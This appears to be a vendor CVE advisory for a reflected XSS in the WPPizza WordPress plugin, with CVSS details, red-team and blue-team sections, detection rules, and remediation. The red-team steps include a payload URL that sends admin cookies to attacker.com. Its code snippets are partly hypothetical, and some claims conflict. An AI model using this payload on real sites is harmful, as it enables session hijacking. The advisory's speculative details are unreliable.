CVE-2025-26991
Executive Summary
CVE-2025-26991 is a reflected Cross-Site Scripting (XSS) vulnerability in the WPPizza WordPress plugin, developed by Ollybach. The flaw exists in versions up to and including 3.19.4, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated administrator, executes arbitrary JavaScript in the context of the WordPress admin panel. This can lead to session hijacking, privilege escalation, or defacement. The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS score of 7.1 (High). No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches as soon as they are released. Since the plugin is not managed via NPM, PyPI, Go, or Ruby, no additional package manager security concerns apply.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need authentication.
- User Interaction (UI): Required (R) – The victim must click the malicious link.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: High (7.1) – Exploitation requires user interaction but can lead to admin-level compromise.
Deep Dive & Mechanics
The WPPizza plugin fails to sanitize or escape user-controlled parameters before reflecting them in the HTML output. An attacker can inject arbitrary JavaScript via a crafted URL parameter (e.g., ?page=wppizza&s=<script>alert(1)</script>). When the victim (typically an admin) visits this URL, the script executes in the context of the WordPress admin dashboard. This can be used to steal session cookies, perform actions on behalf of the admin, or inject malicious content.
The vulnerability is triggered in the plugin’s admin pages where user input is directly echoed without proper escaping. The lack of esc_html() or wp_kses() functions allows the injection.
Vulnerable vs. Patched Code
Vulnerable Code (WPPizza <= 3.19.4):
// In admin page rendering
echo '<input type="text" name="s" value="' . $_GET['s'] . '" />';
Patched Code (Hypothetical):
// Properly escape output
echo '<input type="text" name="s" value="' . esc_attr( $_GET['s'] ) . '" />';
The patched version uses esc_attr() to encode special characters, preventing XSS.
Exploitation & Lab Setup
Red Team
- Setup: Install WordPress with WPPizza plugin version 3.19.4.
- Craft Payload: Create a URL with a malicious script parameter:
http://target/wp-admin/admin.php?page=wppizza&s=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Deliver: Send the link to an authenticated admin via email or social engineering.
- Execute: When the admin clicks the link, the script executes, exfiltrating cookies to the attacker’s server.
No public exploit code is available.
Blue Team
- Monitor Logs: Look for unusual
admin.phprequests withpage=wppizzaand suspicioussparameters. - WAF Rules: Block requests containing
<script>oronerror=in thesparameter. - User Training: Educate admins not to click suspicious links.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/wp-admin/admin.php?page=wppizza&s=containing JavaScript payloads. - Logs: Access logs showing
admin.phpwithpage=wppizzaand encoded script tags. - File System: No file changes expected; attack is reflected.
Detection Engineering
YARA Rule
rule CVE_2025_26991_WPPizza_XSS {
meta:
description = "Detects reflected XSS attempts against WPPizza plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-26991"
strings:
$param = "page=wppizza" nocase
$xss1 = /<script[^>]*>/i
$xss2 = /onerror\s*=/i
$xss3 = /onload\s*=/i
condition:
$param and any of ($xss*)
}
Sigma Rule
title: Reflected XSS Attempt Against WPPizza Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting the WPPizza WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: GET
cs-uri-query|contains:
- "page=wppizza"
- "s=<script"
- "s=onerror"
condition: selection
falsepositives:
- Legitimate use of script tags in search (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-26991 WPPizza Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=wppizza"; http_uri; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the WPPizza plugin until a patch is released.
- Short-term: Implement a Web Application Firewall (WAF) rule to block malicious
sparameters. - Long-term: Apply the official patch from the plugin developer when available. If no patch is released, consider replacing the plugin with an alternative.
- Validation: Ensure all user input is properly escaped using WordPress functions like
esc_attr()andesc_html().
Valters IT
Securing digital frontiers, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.